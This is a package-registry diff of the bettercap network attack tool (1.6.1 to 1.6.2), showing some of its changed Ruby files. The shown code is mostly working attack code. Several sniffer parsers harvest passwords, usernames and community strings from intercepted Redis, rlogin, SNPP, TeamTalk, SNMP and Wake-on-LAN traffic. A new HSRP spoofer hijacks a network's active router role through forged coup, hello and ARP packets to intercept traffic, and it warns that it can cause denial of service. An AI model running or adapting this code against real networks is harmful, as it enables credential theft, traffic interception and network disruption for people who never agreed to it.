bettercap 1.6.1 → 1.6.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (38) hide show
  1. checksums.yaml +4 -4
  2. data/README.md +33 -34
  3. data/bin/bettercap +1 -1
  4. data/lib/bettercap/context.rb +1 -1
  5. data/lib/bettercap/discovery/agents/mdns.rb +61 -0
  6. data/lib/bettercap/discovery/agents/upnp.rb +60 -0
  7. data/lib/bettercap/discovery/agents/wsd.rb +75 -0
  8. data/lib/bettercap/firewalls/linux.rb +0 -4
  9. data/lib/bettercap/logger.rb +63 -34
  10. data/lib/bettercap/network/network.rb +1 -1
  11. data/lib/bettercap/options/core_options.rb +1 -1
  12. data/lib/bettercap/proxy/http/modules/redirect.rb +1 -1
  13. data/lib/bettercap/proxy/http/proxy.rb +1 -9
  14. data/lib/bettercap/proxy/http/sslstrip/strip.rb +5 -5
  15. data/lib/bettercap/sniffer/parsers/asterisk.rb +37 -0
  16. data/lib/bettercap/sniffer/parsers/bfd.rb +159 -0
  17. data/lib/bettercap/sniffer/parsers/dhcp.rb +23 -23
  18. data/lib/bettercap/sniffer/parsers/dict.rb +13 -11
  19. data/lib/bettercap/sniffer/parsers/hsrp.rb +262 -0
  20. data/lib/bettercap/sniffer/parsers/https.rb +17 -19
  21. data/lib/bettercap/sniffer/parsers/mpd.rb +12 -10
  22. data/lib/bettercap/sniffer/parsers/nntp.rb +5 -1
  23. data/lib/bettercap/sniffer/parsers/post.rb +8 -9
  24. data/lib/bettercap/sniffer/parsers/radius.rb +410 -0
  25. data/lib/bettercap/sniffer/parsers/redis.rb +15 -13
  26. data/lib/bettercap/sniffer/parsers/rlogin.rb +20 -19
  27. data/lib/bettercap/sniffer/parsers/snmp.rb +16 -17
  28. data/lib/bettercap/sniffer/parsers/snpp.rb +13 -11
  29. data/lib/bettercap/sniffer/parsers/teamtalk.rb +41 -0
  30. data/lib/bettercap/sniffer/parsers/teamviewer.rb +8 -8
  31. data/lib/bettercap/sniffer/parsers/url.rb +6 -6
  32. data/lib/bettercap/sniffer/parsers/whatsapp.rb +6 -7
  33. data/lib/bettercap/sniffer/parsers/wol.rb +68 -0
  34. data/lib/bettercap/spoofers/arp.rb +3 -3
  35. data/lib/bettercap/spoofers/hsrp.rb +351 -0
  36. data/lib/bettercap/spoofers/mac.rb +126 -0
  37. data/lib/bettercap/version.rb +1 -1
  38. metadata +13 -2
@@ -7,6 +7,10 @@ Author : Simone 'evilsocket' Margaritelli
7
7
  Email : evilsocket@gmail.com
8
8
  Blog : https://www.evilsocket.net/
9
9
 
10
+ Redis authentication parser:
11
+ Author : Brendan Coles
12
+ Email : bcoles[at]gmail.com
13
+
10
14
  This project is released under the GPL 3 license.
11
15
 
12
16
  =end
@@ -19,21 +23,19 @@ class Redis < Base
19
23
  @name = 'REDIS'
20
24
  end
21
25
  def on_packet( pkt )
22
- begin
23
- if pkt.tcp_dst == 6379
24
- lines = pkt.to_s.split(/\r?\n/)
25
- lines.each do |line|
26
- if line =~ /config\s+set\s+requirepass\s+(.+)$/i
27
- pass = "#{$1}"
28
- StreamLogger.log_raw( pkt, @name, "password=#{pass}" )
29
- elsif line =~ /AUTH\s+(.+)$/i
30
- pass = "#{$1}"
31
- StreamLogger.log_raw( pkt, @name, "password=#{pass}" )
32
- end
33
- end
26
+ return unless pkt.tcp_dst == 6379
27
+
28
+ lines = pkt.to_s.split(/\r?\n/)
29
+ lines.each do |line|
30
+ if line =~ /config\s+set\s+requirepass\s+(.+)$/i
31
+ pass = "#{$1}"
32
+ StreamLogger.log_raw( pkt, @name, "password=#{pass}" )
33
+ elsif line =~ /AUTH\s+(.+)$/i
34
+ pass = "#{$1}"
35
+ StreamLogger.log_raw( pkt, @name, "password=#{pass}" )
34
36
  end
35
- rescue
36
37
  end
38
+ rescue
37
39
  end
38
40
  end
39
41
  end
@@ -7,6 +7,10 @@ Author : Simone 'evilsocket' Margaritelli
7
7
  Email : evilsocket@gmail.com
8
8
  Blog : https://www.evilsocket.net/
9
9
 
10
+ BSD rlogin authentication parser:
11
+ Author : Brendan Coles
12
+ Email : bcoles[at]gmail.com
13
+
10
14
  This project is released under the GPL 3 license.
11
15
 
12
16
  =end
@@ -19,27 +23,24 @@ class Rlogin < Base
19
23
  @name = 'RLOGIN'
20
24
  end
21
25
  def on_packet( pkt )
22
- begin
23
- if pkt.tcp_dst == 513
24
- # rlogin packet data = 0x00[client-username]0x00<server-username>0x00<terminal/speed>0x00
26
+ return unless pkt.tcp_dst == 513
27
+ # rlogin packet data = 0x00[client-username]0x00<server-username>0x00<terminal/speed>0x00
25
28
 
26
- # if client username, server username and terminal/speed were supplied...
27
- # regex starts at client username as the first null byte is stripped from pkt.payload.to_s
28
- if pkt.payload.to_s =~ /\A([a-z0-9_-]+)\x00([a-z0-9_-]+)\x00([a-z0-9_-]+\/[0-9]+)\x00\Z/i
29
- client_user = $1
30
- server_user = $2
31
- terminal = $3
32
- StreamLogger.log_raw( pkt, @name, "client-username=#{client_user} server-username=#{server_user} terminal=#{terminal}" )
33
- # else, if only server username and terminal/speed were supplied...
34
- # regex starts at 0x00 as the first null byte is stripped from pkt.payload.to_s and the client username is empty
35
- elsif pkt.payload.to_s =~ /\A\x00([a-z0-9_-]+)\x00([a-z0-9_-]+\/[0-9]+)\x00\Z/i
36
- server_user = $1
37
- terminal = $2
38
- StreamLogger.log_raw( pkt, @name, "server-username=#{server_user} terminal=#{terminal}" )
39
- end
40
- end
41
- rescue
29
+ # if client username, server username and terminal/speed were supplied...
30
+ # regex starts at client username as the first null byte is stripped from pkt.payload.to_s
31
+ if pkt.payload.to_s =~ /\A([a-z0-9_-]+)\x00([a-z0-9_-]+)\x00([a-z0-9_-]+\/[0-9]+)\x00\Z/i
32
+ client_user = $1
33
+ server_user = $2
34
+ terminal = $3
35
+ StreamLogger.log_raw( pkt, @name, "client-username=#{client_user} server-username=#{server_user} terminal=#{terminal}" )
36
+ # else, if only server username and terminal/speed were supplied...
37
+ # regex starts at 0x00 as the first null byte is stripped from pkt.payload.to_s and the client username is empty
38
+ elsif pkt.payload.to_s =~ /\A\x00([a-z0-9_-]+)\x00([a-z0-9_-]+\/[0-9]+)\x00\Z/i
39
+ server_user = $1
40
+ terminal = $2
41
+ StreamLogger.log_raw( pkt, @name, "server-username=#{server_user} terminal=#{terminal}" )
42
42
  end
43
+ rescue
43
44
  end
44
45
  end
45
46
  end
@@ -22,23 +22,22 @@ module Parsers
22
22
  # SNMP community string parser.
23
23
  class SNMP < Base
24
24
  def on_packet( pkt )
25
- begin
26
- if pkt.udp_dst == 161
27
-
28
- packet = Network::Protos::SNMP::Packet.parse( pkt.payload )
29
- unless packet.nil?
30
- if packet.snmp_version_number.to_i == 0
31
- snmp_version = 'v1'
32
- else
33
- snmp_version = 'n/a'
34
- end
35
-
36
- msg = "[#{'Version:'.green} #{snmp_version}] [#{'Community:'.green} #{packet.snmp_community_string.map { |x| x.chr }.join.yellow}]"
37
-
38
- StreamLogger.log_raw( pkt, 'SNMP', msg )
39
- end
40
- end
41
- rescue; end
25
+ return unless pkt.udp_dst == 161
26
+
27
+ packet = Network::Protos::SNMP::Packet.parse( pkt.payload )
28
+
29
+ return if packet.nil?
30
+
31
+ if packet.snmp_version_number.to_i == 0
32
+ snmp_version = 'v1'
33
+ else
34
+ snmp_version = 'n/a'
35
+ end
36
+
37
+ msg = "[#{'Version:'.green} #{snmp_version}] [#{'Community:'.green} #{packet.snmp_community_string.map { |x| x.chr }.join.yellow}]"
38
+
39
+ StreamLogger.log_raw( pkt, 'SNMP', msg )
40
+ rescue
42
41
  end
43
42
  end
44
43
  end
@@ -7,6 +7,10 @@ Author : Simone 'evilsocket' Margaritelli
7
7
  Email : evilsocket@gmail.com
8
8
  Blog : https://www.evilsocket.net/
9
9
 
10
+ Simple Network Paging Protocol (SNPP) authentication parser:
11
+ Author : Brendan Coles
12
+ Email : bcoles[at]gmail.com
13
+
10
14
  This project is released under the GPL 3 license.
11
15
 
12
16
  =end
@@ -19,19 +23,17 @@ class Snpp < Base
19
23
  @name = 'SNPP'
20
24
  end
21
25
  def on_packet( pkt )
22
- begin
23
- if pkt.tcp_dst == 444
24
- lines = pkt.to_s.split(/\r?\n/)
25
- lines.each do |line|
26
- if line =~ /LOGIn\s+(.+)\s+(.+)$/
27
- user = $1
28
- pass = $2
29
- StreamLogger.log_raw( pkt, @name, "username=#{user} password=#{pass}" )
30
- end
31
- end
26
+ return unless pkt.tcp_dst == 444
27
+
28
+ lines = pkt.to_s.split(/\r?\n/)
29
+ lines.each do |line|
30
+ if line =~ /LOGIn\s+(.+)\s+(.+)$/
31
+ user = $1
32
+ pass = $2
33
+ StreamLogger.log_raw( pkt, @name, "username=#{user} password=#{pass}" )
32
34
  end
33
- rescue
34
35
  end
36
+ rescue
35
37
  end
36
38
  end
37
39
  end
@@ -0,0 +1,41 @@
1
+ =begin
2
+
3
+ BETTERCAP
4
+
5
+ Author : Simone 'evilsocket' Margaritelli
6
+ Email : evilsocket@gmail.com
7
+ Blog : https://www.evilsocket.net/
8
+
9
+ BearWare TeamTalk authentication parser:
10
+ Author : Brendan Coles
11
+ Email : bcoles[at]gmail.com
12
+
13
+ This project is released under the GPL 3 license.
14
+
15
+ =end
16
+
17
+ module BetterCap
18
+ module Parsers
19
+ # BearWare TeamTalk authentication parser.
20
+ class TeamTalk < Base
21
+ def initialize
22
+ @name = 'TeamTalk'
23
+ end
24
+ def on_packet( pkt )
25
+ return unless (pkt.tcp_dst == 10333 || pkt.udp_dst == 10333)
26
+
27
+ lines = pkt.to_s.split(/\r?\n/)
28
+ lines.each do |line|
29
+ next unless (line =~ /login\s+/ && line =~ /username=/ && line =~ /password=/)
30
+
31
+ version = line.scan(/version="?([\d\.]+)"?\s/).flatten.first
32
+ user = line.scan(/username="?(.*?)"?\s/).flatten.first
33
+ pass = line.scan(/password="?(.*?)"?\s/).flatten.first
34
+
35
+ StreamLogger.log_raw( pkt, @name, "#{'version'.blue}=#{version} username=#{user} password=#{pass}" )
36
+ end
37
+ rescue
38
+ end
39
+ end
40
+ end
41
+ end
@@ -16,14 +16,14 @@ module Parsers
16
16
  # MySQL authentication parser.
17
17
  class TeamViewer < Base
18
18
  def on_packet( pkt )
19
- begin
20
- if pkt.tcp_dst == 5938 or pkt.tcp_src == 5938
21
- packet = Network::Protos::TeamViewer::Packet.parse( pkt.payload )
22
- unless packet.nil?
23
- StreamLogger.log_raw( pkt, 'TEAMVIEWER', "#{'version'.blue}=#{packet.version.yellow} #{'command'.blue}=#{packet.command.yellow}" )
24
- end
25
- end
26
- rescue; end
19
+ return unless (pkt.tcp_dst == 5938 || pkt.tcp_src == 5938)
20
+
21
+ packet = Network::Protos::TeamViewer::Packet.parse( pkt.payload )
22
+
23
+ return if packet.nil?
24
+
25
+ StreamLogger.log_raw( pkt, 'TEAMVIEWER', "#{'version'.blue}=#{packet.version.yellow} #{'command'.blue}=#{packet.command.yellow}" )
26
+ rescue
27
27
  end
28
28
  end
29
29
  end
@@ -17,12 +17,12 @@ module Parsers
17
17
  class Url < Base
18
18
  def on_packet( pkt )
19
19
  s = pkt.to_s
20
- if s =~ /GET\s+([^\s]+)\s+HTTP.+Host:\s+([^\s]+).+/m
21
- host = $2
22
- url = $1
23
- unless url =~ /.+\.(png|jpg|jpeg|bmp|gif|img|ttf|woff|css|js).*/i
24
- StreamLogger.log_raw( pkt, 'GET', "http://#{host}#{url}" )
25
- end
20
+ return unless s =~ /GET\s+([^\s]+)\s+HTTP.+Host:\s+([^\s]+).+/m
21
+
22
+ host = $2
23
+ url = $1
24
+ unless url =~ /.+\.(png|jpg|jpeg|bmp|gif|img|ttf|woff|css|js).*/i
25
+ StreamLogger.log_raw( pkt, 'GET', "http://#{host}#{url}" )
26
26
  end
27
27
  end
28
28
  end
@@ -20,13 +20,12 @@ module Parsers
20
20
  # WhatsApp traffic parser.
21
21
  class Whatsapp < Base
22
22
  def on_packet( pkt )
23
- begin
24
- if ( pkt.tcp_dst == 443 or pkt.tcp_dst == 5222 or pkt.tcp_dst == 5223 ) and pkt.payload =~ /^WA.*?([a-zA-Z\-\.0-9]+).*?([0-9]+)/
25
- version = $1
26
- phone = $2
27
- StreamLogger.log_raw( pkt, 'WHATSAPP', "#{'phone'.green}=#{phone.yellow} #{'version'.green}=#{version.yellow}" )
28
- end
29
- rescue; end
23
+ if ( pkt.tcp_dst == 443 or pkt.tcp_dst == 5222 or pkt.tcp_dst == 5223 ) and pkt.payload =~ /^WA.*?([a-zA-Z\-\.0-9]+).*?([0-9]+)/
24
+ version = $1
25
+ phone = $2
26
+ StreamLogger.log_raw( pkt, 'WHATSAPP', "#{'phone'.green}=#{phone.yellow} #{'version'.green}=#{version.yellow}" )
27
+ end
28
+ rescue
30
29
  end
31
30
  end
32
31
  end
@@ -0,0 +1,68 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : https://www.evilsocket.net/
9
+
10
+ Wake-on-LAN packet and authentication parser:
11
+ Author : Brendan Coles
12
+ Email : bcoles[at]gmail.com
13
+
14
+ This project is released under the GPL 3 license.
15
+
16
+ =end
17
+
18
+ module BetterCap
19
+ module Parsers
20
+ #
21
+ # Wake-on-LAN packet and authentication parser.
22
+ #
23
+ # Supports WOL on UDP ports 0, 7 and 9
24
+ # Does not support ether-wake which uses Ethertype 0x0842
25
+ #
26
+ # References:
27
+ # - https://en.wikipedia.org/wiki/Wake-on-LAN
28
+ # - https://wiki.wireshark.org/WakeOnLAN
29
+ #
30
+ class Wol < Base
31
+ def initialize
32
+ @name = 'WOL'
33
+ end
34
+
35
+ def on_packet( pkt )
36
+ return unless is_wol? pkt
37
+
38
+ # Split packet into chunks of 6 bytes each.
39
+ data = pkt.payload.to_s.unpack('H*').first.chars.each_slice(12).map(&:join)
40
+
41
+ # The Synchronization Stream field is 6 bytes of FF
42
+ # sync_stream = data[0]
43
+
44
+ # The Target MAC block contains the target's MAC address
45
+ # repeated 16 times (96 bytes)
46
+ return unless data[1..16].uniq.size == 1
47
+
48
+ # Format MAC address for output
49
+ mac = data[1].upcase.scan(/\w{2}/).join(':')
50
+
51
+ # The Password field is optional (0, 4 or 6 bytes).
52
+ password = data[17] || 'none'
53
+
54
+ StreamLogger.log_raw( pkt, @name, "#{'mac'.blue}=#{mac} #{'password'.blue}=#{password}" )
55
+ rescue
56
+ end
57
+
58
+ private
59
+
60
+ def is_wol?(pkt)
61
+ return ( pkt.eth2s(:dst) == 'FF:FF:FF:FF:FF:FF' && pkt.ip_daddr == '255.255.255.255' && \
62
+ pkt.respond_to?('udp_dst') && (pkt.udp_dst == 0 || pkt.udp_dst == 7 || pkt.udp_dst == 9) && \
63
+ (pkt.payload.size == 102 || pkt.payload.size == 106 || pkt.payload.size == 108) && \
64
+ pkt.payload.to_s.unpack('H*').first.start_with?('ffffffffffff') )
65
+ end
66
+ end
67
+ end
68
+ end
@@ -95,11 +95,11 @@ class Arp < Base
95
95
  # restore its ARP cache instead.
96
96
  def spoof( target, restore = false )
97
97
  if restore
98
- send_spoofed_packet( @ctx.gateway.ip, @ctx.gateway.mac, target.ip, 'ff:ff:ff:ff:ff:ff' )
99
- send_spoofed_packet( target.ip, target.mac, @ctx.gateway.ip, 'ff:ff:ff:ff:ff:ff' ) unless @ctx.options.spoof.half_duplex
98
+ send_spoofed_packet( @ctx.gateway.ip, @ctx.gateway.mac, target.ip, target.mac )
99
+ send_spoofed_packet( target.ip, target.mac, @ctx.gateway.ip, @ctx.gateway.mac ) unless @ctx.options.spoof.half_duplex
100
100
  @ctx.targets.each do |e|
101
101
  if e.spoofable? and e.ip != target.ip and e.ip != @ctx.gateway.ip
102
- send_spoofed_packet( e.ip, e.mac, target.ip, 'ff:ff:ff:ff:ff:ff' )
102
+ send_spoofed_packet( e.ip, e.mac, target.ip, target.mac )
103
103
  end
104
104
  end
105
105
  else
@@ -0,0 +1,351 @@
1
+ # encoding: UTF-8
2
+ =begin
3
+
4
+ BETTERCAP
5
+
6
+ Author : Simone 'evilsocket' Margaritelli
7
+ Email : evilsocket@gmail.com
8
+ Blog : https://www.evilsocket.net/
9
+
10
+ Cisco Hot Standby Router Protocol (HSRP) spoofer:
11
+ Author : Brendan Coles
12
+ Email : bcoles[at]gmail.com
13
+
14
+ This project is released under the GPL 3 license.
15
+
16
+ =end
17
+
18
+ module BetterCap
19
+ module Spoofers
20
+ #
21
+ # This class is responsible for performing HSRP hijacking on the network.
22
+ #
23
+ # * Supports IPv4
24
+ # * Supports text authentication
25
+ # * Does not support IPv6
26
+ # * Does not support MD5 authentication
27
+ #
28
+ # This spoofer watches incoming HSRP message broadcasts
29
+ # looking for vulnerable HSRP groups using text authentication.
30
+ #
31
+ # If such a group is identified, the spoofer launches a coup against
32
+ # the active router, advising the group that the +ctx+ interface wishes
33
+ # to become the active router for the group's virtual IP address.
34
+ #
35
+ # The spoofer then proves the +ctx+ interface is the superior router
36
+ # by sending a 'Hello' packet with the highest possible priority,
37
+ # winning the election, and causing the the other routers participating
38
+ # in the group to stand down, falling back to StandBy or Listen modes.
39
+ #
40
+ # As a result, the group members will no longer reply to ARP queries
41
+ # for the group's virtual IP address.
42
+ #
43
+ # The 'Hello' packet is then re-broadcast periodically to ensure the
44
+ # group members comply with the new doctrine.
45
+ #
46
+ # A gratuitous ARP reply is broadcast, notifying the network of the
47
+ # new MAC address for the virtual IP address.
48
+ #
49
+ # The spoofer then adds the group's details to a list of controlled
50
+ # groups, and replies to any ARP queries for their associated virtual
51
+ # IP addresses.
52
+ #
53
+ # Upon termination of the spoofer, a 'Resign' packet is broadcast,
54
+ # at which time the group member in StandBy mode should resume the
55
+ # active role.
56
+ #
57
+ # Note: If the active router in the group already has the highest
58
+ # possible priority, the spoofer will wait until a lower
59
+ # priority router is elected as the active router.
60
+ #
61
+ # Note: If something goes wrong, the spoofer will likely cause a
62
+ # denial of service until a member of the group assumes the
63
+ # the role of active router, and the group's clients retrieve
64
+ # a fresh ARP lease for the virtual IP address.
65
+ #
66
+ # References:
67
+ # - https://www.ietf.org/rfc/rfc2281.txt
68
+ # - http://packetlife.net/blog/2008/oct/27/hijacking-hsrp/
69
+ #
70
+ class Hsrp < Base
71
+ # Initialize the BetterCap::Spoofers::HSRP object.
72
+ def initialize
73
+ @ctx = Context.get
74
+ @forwarding = @ctx.firewall.forwarding_enabled?
75
+ @spoof_thread = nil
76
+ @hsrp_thread = nil
77
+ @arp_thread = nil
78
+ @running = false
79
+
80
+ # HelloTime - Time (in seconds) between Hello messages
81
+ @hellotime = 3 # default
82
+
83
+ # HoldTime - Time (in seconds) for which the Hello message is valid
84
+ @holdtime = 255 # max
85
+
86
+ # Table of HSRP groups
87
+ @groups = []
88
+
89
+ update_gateway!
90
+ end
91
+
92
+ # Start the HSRP spoofing
93
+ def start
94
+ Logger.debug "Starting HSRP spoofer ..."
95
+
96
+ stop() if @running
97
+ @running = true
98
+
99
+ if @ctx.options.spoof.kill
100
+ Logger.warn 'Disabling packet forwarding.'
101
+ @ctx.firewall.enable_forwarding(false) if @forwarding
102
+ else
103
+ @ctx.firewall.enable_forwarding(true) unless @forwarding
104
+ end
105
+
106
+ @hsrp_thread = Thread.new { hsrp_watcher }
107
+ @arp_thread = Thread.new { arp_watcher }
108
+ @spoof_thread = Thread.new { hsrp_spoofer }
109
+ end
110
+
111
+ # Stop the HSRP spoofing and reset firewall state
112
+ def stop
113
+ raise 'HSRP spoofer is not running' unless @running
114
+
115
+ Logger.debug 'Stopping HSRP spoofer ...'
116
+
117
+ @running = false
118
+ begin
119
+ @spoof_thread.exit
120
+ rescue
121
+ end
122
+
123
+ # Send a few resign packets
124
+ @groups.each do |vip, group, password|
125
+ 3.times do
126
+ send_resign vip, group, password
127
+ end
128
+ end
129
+
130
+ Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
131
+
132
+ @ctx.firewall.enable_forwarding( @forwarding )
133
+ end
134
+
135
+ private
136
+
137
+ # Broadcast a HSRP Coup packet (OpCode 0x01)
138
+ def send_coup(vip, group, password)
139
+ Logger.debug "[#{'HSRP'.green}] Launching a coup in group '#{group}' for ownership of virtual IP #{vip.to_x} ..."
140
+ pkt = PacketFu::HSRPPacket.new
141
+ pkt.eth_saddr = @ctx.iface.mac
142
+ pkt.eth_daddr = '01:00:5e:00:00:02'
143
+ pkt.eth_proto = 0x0800
144
+
145
+ pkt.ip_saddr = @ctx.iface.ip
146
+ pkt.ip_daddr = '224.0.0.2'
147
+ pkt.ip_ttl = 1
148
+ pkt.ip_recalc
149
+
150
+ pkt.udp_src = 1985
151
+ pkt.udp_dst = 1985
152
+
153
+ pkt.hsrp_opcode = 1 # Coup
154
+ pkt.hsrp_priority = 255 # Highest priority
155
+ pkt.hsrp_state = 16 # Active
156
+ pkt.hsrp_hellotime = @hellotime
157
+ pkt.hsrp_holdtime = @holdtime
158
+ pkt.hsrp_group = group
159
+ pkt.hsrp_password = password
160
+ pkt.hsrp_vip = vip.to_s
161
+
162
+ pkt.udp_recalc
163
+ pkt.ip_recalc
164
+ @ctx.packets.push(pkt)
165
+ end
166
+
167
+ # Broadcast a HSRP Hello packet (OpCode 0x00)
168
+ def send_hello(vip, group, password)
169
+ pkt = PacketFu::HSRPPacket.new
170
+ pkt.eth_saddr = @ctx.iface.mac
171
+ pkt.eth_daddr = '01:00:5e:00:00:02'
172
+ pkt.eth_proto = 0x0800
173
+
174
+ pkt.ip_saddr = @ctx.iface.ip
175
+ pkt.ip_daddr = '224.0.0.2'
176
+ pkt.ip_ttl = 1
177
+ pkt.ip_recalc
178
+
179
+ pkt.udp_src = 1985
180
+ pkt.udp_dst = 1985
181
+
182
+ pkt.hsrp_opcode = 0 # Hello
183
+ pkt.hsrp_priority = 255 # Highest priority
184
+ pkt.hsrp_state = 16 # Active
185
+ pkt.hsrp_hellotime = @hellotime
186
+ pkt.hsrp_holdtime = @holdtime
187
+ pkt.hsrp_group = group
188
+ pkt.hsrp_password = password
189
+ pkt.hsrp_vip = vip.to_s
190
+
191
+ pkt.udp_recalc
192
+ pkt.ip_recalc
193
+ @ctx.packets.push(pkt)
194
+ end
195
+
196
+ # Broadcast a HSRP Resign packet (OpCode 0x02) with Listen state (0x02)
197
+ def send_resign(vip, group, password)
198
+ Logger.debug "[#{'HSRP'.green}] Resigning position as active router for group '#{group}' (VirtualIP=#{vip.to_x}) ..."
199
+
200
+ pkt = PacketFu::HSRPPacket.new
201
+ pkt.eth_saddr = @ctx.iface.mac
202
+ pkt.eth_daddr = '01:00:5e:00:00:02'
203
+ pkt.eth_proto = 0x0800
204
+
205
+ pkt.ip_saddr = @ctx.iface.ip
206
+ pkt.ip_daddr = '224.0.0.2'
207
+ pkt.ip_ttl = 1
208
+ pkt.ip_recalc
209
+
210
+ pkt.udp_src = 1985
211
+ pkt.udp_dst = 1985
212
+
213
+ pkt.hsrp_opcode = 2 # Resign
214
+ pkt.hsrp_priority = 255 # Highest priority
215
+ pkt.hsrp_state = 2 # Listen
216
+ pkt.hsrp_hellotime = @hellotime
217
+ pkt.hsrp_holdtime = @holdtime
218
+ pkt.hsrp_group = group
219
+ pkt.hsrp_password = password
220
+ pkt.hsrp_vip = vip.to_s
221
+
222
+ pkt.udp_recalc
223
+ pkt.ip_recalc
224
+ @ctx.packets.push(pkt)
225
+ end
226
+
227
+ private
228
+
229
+ # Main spoofer loop.
230
+ def hsrp_spoofer
231
+ while true
232
+ unless @groups.empty?
233
+ Logger.debug "[#{'HSRP'.green}] Sending HSRP 'Hello' broadcast to #{@groups.size} HSRP groups ..."
234
+ end
235
+
236
+ @groups.each do |vip, group, password|
237
+ send_hello vip, group, password
238
+ end
239
+
240
+ sleep @hellotime
241
+ end
242
+ end
243
+
244
+ # Watches for incoming HSRP messages with text authentication.
245
+ #
246
+ # If text authentication is identified, launches a coup
247
+ # against the active router in the HSRP group and claims the
248
+ # role of the active router.
249
+ def hsrp_watcher
250
+ Logger.debug 'HSRP watcher started ...'
251
+
252
+ sniff_packets('udp and port 1985') do |pkt|
253
+ # We're only interested in HSRP 'Hello' packets (OpCode 0x00) from other hosts
254
+ next unless (pkt.is_hsrp? && pkt.hsrp_opcode == 0 && pkt.ip_saddr.to_s != @ctx.iface.ip)
255
+
256
+ vip = pkt.hsrp_vip
257
+ group = pkt.hsrp_group
258
+ password = pkt.hsrp_password
259
+
260
+ # Ignore this message if we're already the active router for the group
261
+ next if @groups.include? [vip, group, password]
262
+
263
+ Logger.debug "[#{'HSRP'.green}] Received 'Hello' from #{pkt.ip_saddr.to_s} in group '#{group}' using text authentication (VirtualIP=#{vip.to_x} Group=#{group} Password=#{password})"
264
+
265
+ # Dump the packet for debugging purposes
266
+ #Logger.debug pkt.inspect
267
+
268
+ # Do not proceed if the active router has the highest possible priority
269
+ if pkt.hsrp_priority >= 255
270
+ Logger.debug "[#{'HSRP'.green}] Cannot overthrow #{pkt.ip_saddr.to_s} - priority 255 is too high. Ignoring ..."
271
+ next
272
+ end
273
+
274
+ # Let the user know the coup has begun
275
+ Logger.info "[#{'HSRP'.green}] #{"Claiming role as active router for group '#{group}' ...".yellow}"
276
+
277
+ # Overthrow the active router for the HSRP group
278
+ send_coup vip, group, password
279
+
280
+ # Broadcast a gratuitous ARP reply notifying the network
281
+ # of the new MAC address for the virtual IP address
282
+ Logger.info "[#{'ARP'.green}] #{"Broadcasting MAC #{@ctx.iface.mac} for virtual IP #{vip.to_x} ...".yellow}"
283
+ send_arp_reply vip.to_x, @ctx.iface.mac, vip.to_x, 'FF:FF:FF:FF:FF:FF'
284
+
285
+ # Add the HSRP group to the list of groups under our control
286
+ @groups << [vip, group, password]
287
+ end
288
+ end
289
+
290
+ # Watches for incoming ARP queries
291
+ #
292
+ # If the query is for a HSRP virtual IP address
293
+ # under our control, replies with +ctx+ interface.
294
+ def arp_watcher
295
+ Logger.debug 'HSRP ARP watcher started ...'
296
+
297
+ sniff_packets('arp') do |pkt|
298
+ # We're only interested in ARP queries from other hosts
299
+ next unless is_arp_query?(pkt)
300
+
301
+ saddr = pkt.arp_src_ip.to_s
302
+ daddr = pkt.arp_dst_ip.to_s
303
+ smac = pkt.arp_src_mac.to_s
304
+
305
+ Logger.info "[#{'ARP'.green}] #{saddr} is asking who #{daddr} is."
306
+
307
+ # The client wants to know who we are...
308
+ # Send an ARP reply telling the client our MAC
309
+ if pkt.arp_dst_ip.to_s == @ctx.iface.ip
310
+ send_arp_reply @ctx.iface.ip, @ctx.iface.mac, saddr, smac
311
+ next
312
+ end
313
+
314
+ # The client wants to know who someone else is...
315
+ @groups.each do |group|
316
+ # Are they looking for one of the virtual IP addresses we control?
317
+ if group.include? daddr
318
+ # Yes - Send an ARP reply claiming to be the owner of the virtual IP
319
+ send_arp_reply daddr, @ctx.iface.mac, saddr, smac
320
+ end
321
+ end
322
+ end
323
+ end
324
+
325
+ # Send an ARP reply to the target identified by the +daddr+ IP address
326
+ # and +dmac+ MAC address.
327
+ def send_arp_reply(saddr, smac, daddr, dmac)
328
+ pkt = PacketFu::ARPPacket.new
329
+ pkt.eth_saddr = smac
330
+ pkt.eth_daddr = dmac
331
+ pkt.arp_saddr_mac = smac
332
+ pkt.arp_daddr_mac = dmac
333
+ pkt.arp_saddr_ip = saddr
334
+ pkt.arp_daddr_ip = daddr
335
+ pkt.arp_opcode = 2
336
+
337
+ @ctx.packets.push(pkt)
338
+ end
339
+
340
+ # Return true if the +pkt+ packet is an ARP 'who-has' query
341
+ def is_arp_query?(pkt)
342
+ # we're only interested in 'who-has' packets from other hosts
343
+ return ( pkt.arp_opcode == 1 && \
344
+ pkt.arp_dst_mac.to_s == '00:00:00:00:00:00' && \
345
+ pkt.arp_src_ip.to_s != @ctx.iface.ip )
346
+ rescue
347
+ false
348
+ end
349
+ end
350
+ end
351
+ end